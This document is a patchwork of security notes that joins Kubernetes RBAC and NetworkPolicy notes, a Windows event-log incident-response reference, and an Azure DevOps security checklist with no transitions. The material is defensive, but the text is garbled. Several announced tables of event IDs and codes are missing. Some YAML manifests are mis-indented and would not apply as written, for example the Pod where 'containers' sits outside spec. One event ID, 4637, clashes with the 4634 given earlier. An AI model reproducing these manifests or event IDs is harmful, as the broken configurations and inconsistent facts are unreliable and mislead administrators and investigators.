Authentication Mechanisms: There are different authentication mechanisms that can be configured: certificates, password, and plain tokens, bootstrap tokens, and JSON Web Tokens (used for service accounts). each one is tried in sequence, until one of them succeeds. If the request cannot be authenticated, it is rejected with HTTP status code 401.

Authorization

After the request is authenticated as coming from a specific user, the request must be authorized. A request must include the username of the requester, the requested action, and the object affected by the action. The request is authorized if an existing policy declares that the user has permissions to complete the requested action.

##Authorization Mechanisms: Node Authorization, Attribute-based Authorization (ABAC), Role-Based Authorization (RBAC)

TLS Certificates

TLS Certificate is a way to establish secure communication between client & server using SSL/TLS protocol.

Certificates are used within a cryptographic system known as a public key infrastructure (PKI).

Asymmetric encryption: we have a key pair (public,private) to encrypt & decrypt data.

Certificate Authority: there is an organization called Certificate Authority (CA) which gives website owners a certificate that certifies the ownership of website. The owner of website asks CA to prove that their public key is really for the website. And this CA issues a certificate which has: public key, name of the website & subdomains and the signature of the CAs.

OpenSSL: with this tool we have public & private key but we want the public key to be certified by a trusted CA. This whole process is called PKI (Public Key Infrastructure).

In kubernetes, every component that talks to API-Server needs to provide a certificate to authenticate itself with API-Server. We generate a self-signed CA Certificate for k8s. we use it to sign all the client & server certificates with it (all these certificates are stored in /etc/kubernetes/pki)

RBAC

Role-Based Access Control. RBAC is one of the multiple Authorization methods. RBAC is a mechanism that enables you to configure set of permissions that define how a user can interact with any k8s object in cluster or particular namespace.

It consists of 3 parts:

1. Service Account : Provides an Identity for processes that run in a Pod. ServiceAccount yaml file:

apiVersion: v1 
kind: ServiceAccount 
metadata: 
    name: my-serviceaccount

• List SAs in current namespace:

$kubectl get sa

• List SAs in all namespaces:

$kubectl get sa --all-namespaces

• Create an SA in Imperative mode:

$kubectl create sa p1

• Create an SA in declarative mode:

$kubectl create sa sa-test1 --dry-run=client -o yaml

2. Role/ClusterRole: They are k8s objects that define set of permissions. Role is in the scope of a Namespace. ClusterRole is in the scope of cluster.

$ kubectl create clusterrole pvviewer-role --resource=pods --verb=list

Role yaml file:

apiVersion: rbac.authorization.k8s.io/v1 
kind: Role 
metadata: 
    namespace: default  #namespace where the role belongs to
    name: pod-reader 
rules: 
    - apiGroups: [""]   # "" indicates the core API group(there are other apiGroups like apps including pods,deployments,… e.g deployments.apps)
    resources: ["pods"] #indicates the resources that this role are for
    verbs: ["get", "watch", "list"] #verbs that we can do on above resources

3. RoleBinding/ClusterRoleBinding : objects that Connect roles or ClusterRoles to users.

$ kubectl create clusterrolebinding pvviewer-role-binding --clusterrole=pvviewer-role --serviceaccount=test1:p1
$ kubectl get rolebinding 
$ kubectl get clusterrolebinding 

You can check API Access with auth can-i subcommand:

$ kubectl auth can-i create deployments -n my-namespace

RoleBinding yaml file:

apiVersion: rbac.authorization.k8s.io/v1 
kind: RoleBinding       # This role binding allows "jane" to read pods in the "default" namespace. 
metadata: 
    name: read-pods 
    namespace: default 
subjects:               # You can specify more than one "subject" 
    - kind: User 
    name: jane          #"name" is case sensitive 
    apiGroup: rbac.authorization.k8s.io 
roleRef:                #"roleRef" specifies the binding to a Role / ClusterRole
    kind: Role          #this must be Role or ClusterRole
    name: pod-reader    # this must match the name of the Role or ClusterRole you wish to bind to
    apiGroup: rbac.authorization.k8s.io

Admission Control

Admission Control modules are software modules that can modify or reject requests.

There is a flag in API Server called enable-admission-plugins. This flag calls a list of admission control plugins before modifying objects in k8s cluster.

Admission Control plugins:

AlwaysAdmit #all pods come inside cluster 
AlwaysPullImage #all new pods are modified to imagePullPolicy: Always

Commands:

$ kube-apiserver --enable-admission-plugins=LimitRanger #enable limitRanger admission control plugin
$ grep admission /etc/kubernetes/manifests/kube-apiserver.yaml #view current admission controller setting 

Security Context

Pods and containers within pods can be given specific security constraints to limit what processes running in containers can do. Example: in the below example, we force a policy that containers can`t run as root users:

apiVersion: v1 
kind: Pod 
metadata: 
    name: nginxseccontext 
spec: 
    securityContext: 
        runAsNonRoot: true 
containers: 
    - image: nginx 
    name: nginx

Network Policy

• By default, all pods can reach each other (all ingress and egress traffic is allowed).
• We had ingress object before, but the NetworkPolicy objects define rules for both ingress and egress.
• In fact, NetworkPolicy configures CNI application (weavenet, canal, calico).
• Note that not all plugins support NetworkPolicies(e.g: flannel)

As mentioned in the introduction, Kubernetes network policies identify traffic sources and destinations by label selector only – there is no provision (as yet) to specify IP addresses or masks. Ingress is incoming traffic to the pod, and egress is outgoing traffic from the pod.

Create Ingress Policy:

Policies can include one or more ingress rules. To specify which pods in the namespace the network policy applies to, use a pod selector. Within the ingress rule, use another pod selector to define which pods allow incoming traffic, and the ports field to define on which ports traffic is allowed.

Example: Allow ingress traffic from pods in the same namespace In the following example, incoming traffic to pods with label color=blue are allowed only if they come from a pod with color=red, on port 80.

kind: NetworkPolicy 
apiVersion: networking.k8s.io/v1 
metadata: 
    name: allow-same-namespace 
    namespace: default 
spec: 
    podSelector: #if empty, NetworkPolicy is applied to all pods in defined namespace. 
    matchLabels: 
        color: blue 
    ingress: 
        - from: 
            - podSelector: 
                matchLabels: 
                    color: red 
        ports: 
            - port: 80

Example: Allow ingress traffic from pods in a different namespace. In the following example, incoming traffic is allowed only if they come from a pod with label color=red, in a namespace with label shape=square, on port 80.

kind: NetworkPolicy 
apiVersion: networking.k8s.io/v1 
metadata: 
    name: allow-same-namespace 
    namespace: default 
spec: 
    podSelector: 
        matchLabels: 
            color: blue 
    ingress: 
        - from: 
            - podSelector: 
                matchLabels: 
                    color: red 
            namespaceSelector: 
                matchLabels: 
                    shape: square 
        ports: 
            - port: 80

Create egress policy:

Example: Allow egress traffic from pods in the same namespace. The following policy allows pod outbound traffic to other pods in the same namespace that match the pod selector. In the following example, outbound traffic is allowed only if they go to a pod with label color=red, on port 80.

kind: NetworkPolicy 
apiVersion: networking.k8s.io/v1 
metadata: 
    name: allow-egress-same-namespace 
    namespace: default 
spec: 
    podSelector: 
        matchLabels: 
            color: blue
    egress: 
        - to: 
            - podSelector: 
                matchLabels: 
                    color: red 
            ports: 
                - port: 80 

Example: Allow egress traffic to IP addresses or CIDR range. Egress policies can also be used to allow traffic to specific IP addresses and CIDR ranges. Typically, IP addresses/ranges are used to handle traffic that is external to the cluster for static resources or subnets. The following policy allows egress traffic to pods in CIDR, 172.18.0.0/24.

kind: NetworkPolicy 
apiVersion: networking.k8s.io/v1 
metadata: 
    name: allow-egress-external 
    namespace: default 
spec: 
    podSelector: 
        matchLabels: 
            color: red 
    egress: 
        - to: 
            - ipBlock: 
                cidr: 172.18.0.0/24

Example: Create deny-all default ingress and egress network policy

kind: NetworkPolicy 
apiVersion: networking.k8s.io/v1 
metadata: 
    name: default-deny 
    namespace: default 
spec: 
    podSelector: 
        matchLabels: {} 
    policyTypes: 
        - Ingress 
        - Egress

Microsoft has gradually increased the efficiency and effectiveness of its auditing facilities over the years.

Modern Windows systems can log vast amounts of information with minimal system impact. With the corresponding decrease in the price of storage media, excuses to not enable and retain these critical pieces of evidence simply don’t stand up to scrutiny. Configuring adequate logging on Windows systems, and ideally aggregating those logs into a SIEM or other log aggregator, is a critical step toward ensuring that your environment is able to support an effective incident response.

This provides an overview of some of the most important Windows logs and the events that are recorded there. This is intended to provide more detail than a cheat sheet while still being short enough to serve as a quick reference.

Event Log Format

Modern Windows systems store logs in the %SystemRoot%\System32\winevt\logs directory by default in the binary XML Windows Event Logging format, designated by the .evtx extension. Logs can also be stored remotely using log subscriptions. For remote logging, a remote system running the Windows Event Collector service subscribes to subscriptions of logs produced by other systems. The types of logs to be collected can be specified at a granular level and transport occurs over HTTPS on port 5986 using WinRM. GPO’s can be used to configure the remote logging facilities on each computer.

Events can be logged in the Security, System and Application event logs or, on modern Windows systems, they may also appear in several other log files. The Setup event log records activities that occurred during installation of Windows. The Forwarded Logs event log is the default location to record events received from other systems. But there are also many additional logs, listed under Applications and Services Logs in Event Viewer, that record details related to specific types of activities. Since these log files are much more targeted than the Security log, they often retain information about events that occurred well before the current Security log has been overwritten. Always look for multiple sources of log information, and don’t forget to look for older log files that may be captured by backup systems or volume shadow copies.

Event IDs have several fields in common:

• Log Name: The name of the Event Log where the event is stored. Useful when processing numerous logs pulled from the same system.
• Source: The service, Microsoft component or application that generated the event.
• Event ID: A code assigned to each type of audited activity.
• Level: The severity assigned to the event in question.
• User: The user account involved in triggering the activity or the user context that the source was running as when it logged the event. Note that this field often indicates “System” or a user that is not the cause of the event being recorded.
• OpCode: Assigned by the source generating the log. It’s meaning is left to the source.
• Logged: The local system date and time when the event was logged.
• Task Category: Assigned by the source generating the log. It’s meaning is left to the source.
• Keywords: Assigned by the source and used to group or sort events.
• Computer: The computer on which the event was logged. This is useful when examining logs collected from multiple systems, but should not be considered to be the device that caused an event (such as when a remote logon is initiated, the Computer field will still show the name of the system logging the event, not the source of the connection).
• Description: A text block where additional information specific to the event being logged is recorded. This is often the most significant field for the analyst.

Account Management Events

The following events will be recorded on the system where the account was created or modified, which will be the local system for a local account or a domain controller for a domain account.

Account Logon and Logon Events

Account Logon is the Microsoft term for authentication. Logon is the term used to refer to an account gaining access to a resource. Both Account Logon and Logon events will be recorded in the Security event log. Authentication (account logon) of domain accounts is performed by a domain controller within a Windows network. Local accounts (those that exist within a local SAM file rather than as a part of Active Directory) are authenticated by the local system where they exist. Account logon events will be logged by the system that performs the authentication. Auditing of Account Logon and Logon events is easily set by Group Policy. While Microsoft continues to enable more logging by default as new versions of Windows are released, administrators should review their audit policies on a regular basis to ensure that all systems are generating adequate logs. The ability to store event logs on remote systems (either using the native Microsoft remote logging features or third-party SIEM or other tools) helps safeguard logs from alteration or destruction.

The domain controllers in your network should therefore be able to provide a fairly centralized accounting of which accounts where authenticated throughout the domain. Remember that to get a full picture, you will need to query each of your DCs since the one that performs the authentication creates the associated event log. On the other hand, if you find that member servers or workstations are performing their own authentication, that is a good indicator that local user accounts are being used. As this is not normally done in most environments, account logon events on non-domain controllers can often be an indicator of compromise. By contrast, logon event logs are generated by the system that is being accessed, so logon events will be generated by systems across the network, providing another reason to aggregate logs to a central location.

Event IDs of particular interest on domain controllers, which authenticate domain users, include:

• 4768 : The successful issuance of a TGT shows that a user account was authenticated by the domain controller. The Network Information section of the event description contains additional information about the remote host in the event of a remote logon attempt. The Keywords field indicates whether the authentication attempt was successful or failed. In the event of a failed authentication attempt, the result code in the event description provides additional information about the reason for the failure, as specified in RFC 4120. Some of the more commonly encountered codes are:

Common Event ID 4768 result codes:¹

• 4769 : A service ticket was requested by a user account for a specified resource. This event description shows the source IP of the system that made the request, the user account used, and the service to be accessed. These events provide a useful source of evidence as they track authenticated user access across the network. The Keywords field indicates whether the request for the service ticket was successful or failed. In the case of a failure, the result code indicates the reason for the failure. The ticket encryption type is also recorded, which might be useful for detecting attacks against Kerberos.
• 4770 : A service ticket was renewed. The account name, service name, client IP address, and encryption type are recorded.
• 4771 : Depending on the reason for a failed Kerberos logon, either Event ID 4768 or Event ID 4771 is created. In either case, the result code in the event description provides additional information about the reason for the failure.
• 4776 : This event ID is recorded for NTLM authentication attempts. The Network Information section of the event description contains additional information about the remote host in the event of a remote logon attempt. The Keywords field indicates whether the authentication attempt succeeded or failed. In the event of authentication failure, the error code in the event description provides additional details about the failure.

A series of failed 4776 events with Error Code C000006A (the password is invalid) followed by an Error Code C0000234 (the account is locked out) may be indicative of a failed password guessing attack (or a user who has simply forgotten the account password). Similarly, a series of failed 4776 events followed by a successful 4776 event may show a successful password guessing attack. The presence of Event ID 4776 on a member server or client is indicative of a user attempting to authenticate to a local account on that system and may in and of itself be cause for further investigation.

Common Event ID 4776 error code descriptions:²

• 4624 : A logon to a system has occurred. Type 2 indicates an interactive (usually local) logon, whereas a Type 3 indicates a remote or network logon. The event description will contain information about the host and account name involved. For remote logons, focus on the Network Information section of the event description for remote host information. Correlation with the associated 4768, 4769, or 4776 events may yield additional details about a remote host. Discrepancies in the record entry between the recorded hostname and its assigned IP address may be indicative of Server Message Block (SMB) relay attacks, where an attacker relays a request from one system using an IP address not associated with that system.

The Caller Process Name and Caller Process ID fields in the Process Information section of the event description can provide additional details about the process initiating the logon.

Successful Remote Desktop Protocol (RDP) connections usually log as Logon Type 10 in Event ID 4624. This records a successful remote interactive logon and may result in the user’s credentials being cached in RAM and possibly on disk. Use of Restricted Admin mode may impact this. Failed RDP logons usually result in Logon Type 3.

Logon event type code descriptions:³

• 4625 : A failed logon attempt. Large numbers of these throughout a network may be indicative of password guessing or password spraying attacks. Again, the Network Information section of the event description can provide valuable information about a remote host attempting to log on to the system. Note that failed logons over RDP may log as Type 3 rather than Type 10, depending on the systems involved. You can determine more about the reason for the failure by consulting the Failure Information section of the event description.

The status code found in Event ID 4625 provides additional details about the event:⁴

Common logon failure status codes

• 4634/4647 : User logoff is recorded by Event ID 4634 or Event ID 4647. The lack of an event showing a logoff should not be considered overly suspicious, as Windows is inconsistent in logging Event ID 4634 in many cases. The Logon ID field can be used to tie the Event ID 4624 logon event with the associated logoff event (the Logon ID is unique between reboots on the same computer). Type 3 (Network) logons will typically disconnect shortly after a request is complete and do not indicate the actual amount of time that a user was engaged in any particular activity. Interactive logons (primarily type 2, but also types 10 and 11 where they exist) can provide a better sense of session duration, but Windows is not overly consistent in logging Event ID 4634 and may disconnect sessions due to inactivity well after a user stopped actively interacting with a session.
• 4648 : A logon was attempted using explicit credentials. When a user attempts to use credentials other than the ones used for the current logon session (including bypassing User Account Control [UAC] to open a process with administrator permissions), this event is logged.
• 4672 : This event ID is recorded when certain privileges associated with elevated or administrator access are granted to a logon. As with all logon events, the event log will be generated by the system being accessed.
• 4778 : This event is logged when a session is reconnected to a Windows station. This can occur locally when the user context is switched via fast user switching. It can also occur when a session is reconnected over RDP. The initial connection over RDP is logged with Event ID 4624 as mentioned earlier. To differentiate between RDP versus local session switching, look at the Session Name field within the event description. If local, the field will contain Console, and if remote, it will begin with RDP. For RDP sessions, the remote host information will be in the Network Information section of the event description.
• 4779 : This event is logged when a session is disconnected. This can occur locally when the user context is switched via fast user switching. It can also occur when a session is reconnected over RDP. A full logoff from an RDP session is logged with Event ID 4637 or 4647 as mentioned earlier. To differentiate between RDP versus local session switching, look at the Session Name field within the event description. If local, the field will contain Console, and if remote, it will begin with RDP. For RDP sessions, the remote host information will be in the Network Information section of the event description.

Additional information about RDP Sessions can be found in the %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational log file. Event ID 21 in this log shows session logon events, both local and remote, including the IP from which the connection was made if remote. Event ID 24 in this log shows session disconnection, including the IP from which the connection was made if remote. For local logons, the Source Network Address field of the event description will read LOCAL rather than provide the remote IP.

Information about RDP Sessions can also be found in the SystemRoot%\System32\winevt\Logs\MicrosoftWindows-TerminalServices-RemoteConnectionManager%4Operational log file. Event ID 1149 in this log will show the user account and source IP used to initiate an RDP session.

Access to Shared Objects

Attackers frequently leverage valid credentials to remotely access data through user created or administrative shares. Doing so will generate Account Logon and Logon events as mentioned above, but additional logging can also be enabled in the Group Policy Management Console by navigating to Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> Object Access -> Audit File Share. Once enabled, the following Event IDs will be logged in the Security Log:

Network share event IDs

If detailed file share auditing is enabled in the Group Policy Management Console by navigating to Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> Object Access -> Audit Detailed File Share, then each file within each share that is accessed will generate an Event ID 5145 log entry. As you can imagine, this level of logging may generate a large volume of results.

The system initiating the access may also show evidence of the connections in the registry key NTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2.

Scheduled Task Logging

If history is enabled in the Task Scheduler application, through Event Viewer, or with the wevtutil command, then the %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TaskScheduler%4Operational log will record activity relating to scheduled tasks on the local system as follows:

Scheduled task activity event IDs

Also, see the Object Access Auditing section for additional Event IDs that may be recorded in relation to scheduled tasks.

Object Access Auditing

Object access auditing is not enabled by default but should be enabled on sensitive systems. To do so, simply set use the Local Security Policy to set Security Settings -> Local Policies -> Audit Policy -> Audit object access to Enabled for Success and Failure. When object access auditing is enabled, some activities are logged by default and others need to be explicitly configured. The reason for this is that object access occurs constantly on a system, so this log is designed to be more granular to allow objects of importance to receive extra auditing without overwhelming the logs trying to record all object access on the system.

Object access audit events are stored in the Security log. If object access auditing is enabled, scheduled tasks get additional logging. The Event IDs related to scheduled tasks are:

Scheduled task event IDs

• 4698 : A scheduled task was created. The event description contains the user account that created the task in the Subject section. XML details of the scheduled task are also recorded in the event description under the Task Description section and includes the Task Name. Additional tags of interest include the following:
  • <Date> shows the time of the logged event and matches the Logged field of the event itself.
  • <Author> shows the user that originally created the task, this does not change if another user later updates the task (see Event ID 4702 for additional information about how to determine whether a scheduled task was updated).
  • <Description> shows the description entered by the user.
  • <Triggers> provides information on when the task is scheduled to run.
  • <User ID> shows the user context under which the task will run, which may be different than the account used to schedule the task. If <Logon Type> shows Password, then the password for the account listed in <User ID> was entered at the time the task was scheduled, which may indicate an additionally compromised account.
  • <Command> shows the path to the executable that will run. Any arguments specified will be listed in the <Arguments> tag.|
• 4699 : A scheduled task was deleted. The Subject section of the event description contains the Account Name that deleted the task as well as the Task Name.
• 4700 : A scheduled task was enabled. See Event ID 4698 for additional details.
• 4701 : A scheduled task was disabled. See Event ID 4698 for additional details.
• 4702 : A scheduled task was updated. The user who initiated the update appears in the Subject section of the event description. The details of the task after its modification are listed in the XML in the event description. Compare with previous Event ID 4702 or 4698 entries for this task to determine what changes were made. See Event ID 4698 for additional details.

Aside from scheduled tasks, individual file objects are frequently audited for object access. In addition to enabling the option for Success and/or Failure for Audit Object Access as mentioned earlier, to audit access to individual files or folders you also need to explicitly set the auditing rules in the file or folder’s Properties dialog box by selecting the Security tab, clicking Advanced, selecting the Auditing tab, and setting the type of audit and the user account(s) for which auditing should be set. Detailed instructions can be found here: ⁵

For a process to use a system object, such as a file, it must obtain a handle to that object. Once auditing is enabled, the event IDs described below can be used to view access to important files and folders by tracking the issuance and use of handles to those objects.

Object handle event IDs:

• 4656: A handle to an object was requested. When a process attempts to gain a handle to an audited object, this event is created. The details of the object to which the handle was requested and the handle ID assigned to the handle are listed in the Object section of the event description. Success or failure of the handle request will be indicated in the Keywords field. The account used to request the handle, as well as that account’s associated Logon ID, is recorded in the Subject section of the event description. The details of the process requesting the handle are listed under the Process Information section of the event description. The Access Request Information shows the type of access requested. Note that obtaining a handle to an object does not mean that all the permissions requested were actually used. Look for additional Event ID 4663 entries with the same Handle ID (which is kept unique between reboots) to determine which permissions were used. You can also try to determine other actions taken by the same user during that session by searching for occurrences of the Logon ID (which is also unique between reboots).
• 4657: A registry value was modified. The user account and process responsible for opening the handle are listed in the event description. The Object section contains details of the modification, including the Object Name field, which indicates the full path and name of the registry key where the value was modified. The Object Value Name field contains the name of the modified registry key value. Note that this event generates only when a key value is modified, not if the key itself is modified.
• 4658: The handle to an object was closed. The user account and process responsible for opening the handle are listed in the event description. To determine the object itself, refer to the preceding Event ID 4656 with the same Handle ID.
• 4660: An object was deleted. The user account and process responsible for opening the handle are listed in the event description. To determine the object itself, refer to the preceding Event ID 4656 with the same Handle ID.
• 4663: An attempt was made to access an object. This event is logged when a process attempts to interact with an object, rather than just obtain a handle to the object. This can be used to help determine what types of actions may have been taken on an object (for example, read only or modify data). See Event ID 4656 for additional details.

Since Windows 8/Server 2012, additional logging can also be enabled in the Group Policy Management Console by navigating to Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> Object Access -> Audit Removeable Storage. Once enabled, Windows will create additional Event ID 4663 entries (see above) whenever an account access a file system object that is on removable storage. This can help identify when users are copying data to or from external media.

Audit Policy Changes

When audit policy changes, it impacts the evidence available to investigators and incident handlers, whether the change was done maliciously by an attacker or legitimately by an administrator. Fortunately, modern Windows systems do a good job of logging these changes when they occur. The Event ID used for this auditing is 4719:

• 4719 – System audit policy was changed. The Audit Policy Change section will list the specific changes that were made to the audit policy. The Subject section of the event description may show the account that made the change, but often (such as when the change is made through Group Policy) this section simply reports the name of the local system. Unfortunately, auditing Directory Services access is one area where Windows is still less than clear. There are a number of third-party tools that provide additional visibility and accountability in modifications to Group Policy Objects.
• 1102 - Regardless of the settings in the audit policy, if the Security event log is cleared, Event ID 1102 will be recorded as the first entry in the new, blank log. You can tell the name of the user account that cleared the log in the details of the entry. A similar event, with ID 104, is generated in the System log if it is cleared.

Auditing Windows Services

Many attacks rely on Windows services either for executing commands remotely or for maintaining persistence on systems. While most of the events we have mentioned so far have been found in the Security Event Log, Windows records events related to starting and stopping of services in the System Event Log. The following events are often noteworthy:

• 6005 – The event log service was started. This will occur at system boot time, and whenever the system is manually started. Since the event log service is critical for security, it gets is own Event ID.
• 6006 – The event log service was stopped. While this obviously occurs at system shutdown or restart, its occurrence at other times may be indicative of malicious attempts to avoid logging of activity or to modify the logs.
• 7034 – A service terminated unexpectedly. The event description will display the name of the services and may display the number of times that this service has crashed.
• 7036 – A service was stopped or started. While the event log service has its own Event ID, other services are logged under the same Event ID. The event description provides the name of the service, but no details of which user account requested the service to stop is provided. The description will indicate that the service entered the running state when it is started or entered the stopped state when it is stopped.
• 7040- The start type for a service was changed. The event description will display the name of the service that was changed and describe the change that was made.
• 7045 – A service was installed by the system. The name of the service is found in the Service Name field of the event description, and the full path to the associated executable is found in the Service File Name field. This can be a particularly important event as many tools, such as psexec, create a service on the remote system to execute commands. Many of these tools will create a randomly named service (which stands out in the logs as highly unusual) or will run an executable from locations like the Temp folder. It is worth noting that some legitimate services, like Windows Defender, may also use names that look in part randomized, so it is worth examining any odd entries carefully to determine if they are malicious.

If you have enabled Advanced Audit Policy Configuration > System Audit Policies > System > Audit Security System Extension in your GPOs, Windows 10 and Server 2016/2019 systems will also record Event ID 4697 in the Security event log.

Wireless LAN Auditing

Windows maintains an event log dedicated to wireless local area network (WLAN) activity, and with rogue access points being a common attack vector for man-in-the-middle and malware attacks, it may be worth looking at unusual connections on devices with Wi-Fi capability, particularly those allowed to leave your environment. The log is located at %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-WLANAutoConfig%4Operational.evtx. Event IDs of interest are:

• 8001 - WLAN service has successfully connected to a wireless network. The event description provides the Connection Mode indicating if this was an automatic connection based on a configured profile (and the associated Profile Name) or a manual connection. The SSID of the access point, its authentication mechanism, and its encryption mechanism are also recorded.
• 8002 - WLAN service failed to connect to a wireless network. Once again, the event description will contain the Connection Mode, associated Profile Name, and the SSID along with a Failure Reason field.

Process Tracking

Unlike many Linux shells (such as bash) the Windows cmd.exe shell does not maintain a history of commands run by users. This has created a noticeable gap in the ability of incident handlers to understand the actions that an attacker takes on a compromised host. The rise of “Living of the Land” attacks that do not rely on malware but instead use built-in Windows commands has only made this blind spot more damaging. While in the early days of Windows, auditing process creation was considered far too system intensive, modern Windows systems have greatly increased the efficiency of their auditing facilities, allowing for process tracking to be used to great effect. The addition of the ability to log full command lines in process creation events has gone a long way to remove the blinders from incident handlers and provide a trail which we can follow to uncover the actions taken by an attacker.

While not always required on every system, enabling this feature on key systems is increasingly becoming standard practice in security-conscious environments. This requires setting two separate Group Policy settings. The first is of course Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Audit Policy -> Audit process tracking. However, to fully benefit from process tracking you should also enable the ability to capture the command line in those events. This requires a second setting located at Computer Configuration -> Administrative Templates -> System -> Audit Process Creation -> Include command line in process creation events. Keep in mind that some command line arguments may contain sensitive information such as passwords, so secure access to such logs accordingly and make users aware of the change in audit policy. Once enabled, Event ID 4688 in the Security log provides a wealth of information regarding processes that have been run on the system:

4688 - A new process has been created. The event description provides the Process ID and Process Name, Creator Process ID, Creator Process Name, and Process Command Line (if enabled separately, as outlined earlier in this section).

In addition to the details about the process, details about the user account used to launch the process are recorded in the Subject section.

In pre–Windows 10/Server 2016 systems there is only one Subject. However, in Windows 10 and Server 2016/2019, we now receive details about the Creator Subject and the Target Subject.

The Creator Subject (which is the same as the pre–Windows 10/Server 2016 Subject) lists the user context under which the Creator Process was running. The Target Subject lists the user context under which the newly created process is running. In addition to the details of the user context, we get information in the Token Elevation Type field about the user’s administrative privileges that may have been assigned to the process. A Type 1 token indicates a full token, with all privileges available to that user account, such as when the user is the built-in administrator account or User Access Control (UAC) is disabled. Type 2 indicates that a full token was issued by the user specifying to bypass UAC, such as through the Run As Administrator option. A Type 3 token indicates that administrator privileges were removed due to UAC.

In addition the Event ID 4688, activation of process tracking may also result in additional Security log entries from the Windows Filtering Platform related to network connections and listening ports as follows:

Windows Filtering Platform (WFP) event IDs

The event descriptions of the Windows Filtering Platform events are self explanatory and detailed, including information about the local and remote IPs and port numbers as well as the Process ID and Process Name involved.

As can be seen, the information logged by enabling process tracking auditing can be of immense value, but can also generate a large amount of data. Experiment with your test environment to come up with a balance that can appropriately increase security auditing in your production environment.

Additional Program Execution Logging

If AppLocker is configured in your environment (a step that can help frustrate an adversary and should be considered), dedicated AppLocker event logs will be generated as well. Presented in Event Viewer under Application and Services Logs\Microsoft\Windows\AppLocker, these event logs are stored with the other event logs in C:\Windows\System32\winevt\Logs and have names such as Microsoft-Windows-AppLocker%4EXE and DLL.evtx. There are separate logs covering executables and dynamic-link libraries (DLLs), Microsoft installers (MSI) and scripts, packaged app deployment, and packaged app execution. The event logs generated will vary depending on whether AppLocker is set to audit-only mode or blocking mode.

Remember also that your antivirus or other endpoint detection and response systems may generate useful logs that may record files scanned and/or blocked. For example, Windows Defender maintains an event log located at C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx and Microsoft-Windows-Windows Defender%4WHC.evtx that contains information about potential malware that was detected and suspicious scripts that were run (as reported by the Antimalware Scan Interface [AMSI]). Event IDs of potential interest in this log include:

Windows Defender suspicious event IDs

Windows exploit protection is a feature of Windows 10 that can provide excellent defense against a range of adversary exploitation techniques. This feature can protect both the operating system and individual applications from common attack vectors, blocking the exploitation when it otherwise would have resulted in system compromise. Although some features of exploit protection are enabled by default, many are disabled due to their potential to interfere with legitimate software. When enabled, this feature logs its activities in the C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx and Microsoft-Windows-Security-Mitigations%4UserMode.evtx log files.

Another option to enhance visibility into processes that run on systems in your environment is to implement Sysmon, a free utility by Sysinternals, which is now a part of Microsoft.

When deployed on a system, Sysmon installs as a system service and device driver to generate event logs related to processes, network connections, and modifications to file creation times. It creates a new category of logs that are presented in Event Viewer under Applications and Services Logs\Microsoft\Windows\Sysmon\Operational and is stored in C:\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx. An example of useful event IDs generated by Sysmon include:

Event IDs generated by Sysmon

Auditing PowerShell Use

Microsoft continues to increase the amount of logs available surrounding PowerShell to help combat its nefarious use. Once again, these logging facilities must be enabled via Group Policy, specifically at Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell. There are three basic categories of logging that may be available, depending on the version of Windows in question.

• Module Logging
  • Logs pipeline execution events;
  • Logs to event logs.
• Script Block Logging
  • Captures de-obfuscated commands sent to PowerShell;
  • Captures the commands only, not the resulting output;
  • Logs to event logs.
• Transcription
  • Captures PowerShell input and output;
  • Will not capture output of outside programs that are run, only PowerShell; o Logs to text files in user specified location.

Once enabled, these logs can provide a wealth of information concerning the use of PowerShell on your systems. If you routinely run lots of PowerShell scripts, this can produce a large volume of data, so be sure to test and tune the audit facilities to strike a balance between visibility and load before deploying such changes in production.

PowerShell event log entries appear in different event logs. Inside of %SystemRoot%\System32\winevt\ Logs\Microsoft-Windows-PowerShell%4Operational.evtx you will find two events of particular note:

Additional entries can be found in the %SystemRoot%\System32\winevt\Logs\Windows PowerShell.evtx log:

Remember that PowerShell Remoting requires authenticated access, so look for the associated Account Logon and Logon events as well.

The guide covers various aspects of security, including access control, network security,code security, and continuous monitoring.

Key points addressed in this guide include:

• Managing users and groups using Role-Based Access Control (RBAC) to define and enforce granular permissions.
• Applying the principle of least privilege for granting permissions to minimize potential risks.
• Regularly reviewing user accounts and disabling unnecessary accounts to reduce the attack surface.
• Implementing strong authentication with Multi-Factor Authentication (MFA) to protect against unauthorized access.
• Integrating centralized identity management using Single Sign-On (SSO) and Azure Active Directory.
• Reducing authentication risks using risk-based policies and Azure AD Identity Protection integration.
• Restricting access with IP-based network security groups and private networks.
• Establishing secure communication with on-premises systems using VPN or ExpressRoute.
• Protecting and routing network traffic with Azure DDoS Protection and Azure Firewall.
• Applying code review processes and utilizing static and dynamic code analysis toolsfor vulnerability detection.
• Establishing secure coding standards and ensuring dependency security.
• Incorporating security controls and automated tests in Build and Release pipelines.
• Securing agents with trusted agent pools and implementing Git branch policies and pull request reviews for code security.
• Storing credentials, certificates, and access keys securely in Azure Key Vault and configuring access for Azure DevOps pipelines.
• Monitoring changes using Azure DevOps audit logs for security, compliance, and operational awareness.
• Continuously tracking and improving security posture with Azure Policy and Azure Security Center.
• Conducting internal and external security audits and penetration tests for evaluationand continuous improvement.
• Regularly review and update the security configurations of your Azure DevOps services, resources, and tools.
• Implement secure baselines for your Azure resources and enforce them consistently across your environment.
• Use Azure Policy to define and enforce security configurations across your Azure resources.
• Continuously monitor configuration changes and assess their impact on your security posture.
• Implement a robust backup and recovery strategy for your critical data, including source code, artifacts, and configuration data.
• Use Azure Backup and Azure Site Recovery to protect your data and applications.
• Regularly test your data recovery processes to ensure they are effective and up to date.
• Establish a disaster recovery plan to minimize downtime and data loss in case of a security breach or system failure.
• Maintain an up-to-date inventory of all Azure DevOps resources, including repositories, pipelines, environments, and tools.
• Use Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner.
• Implement tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes.
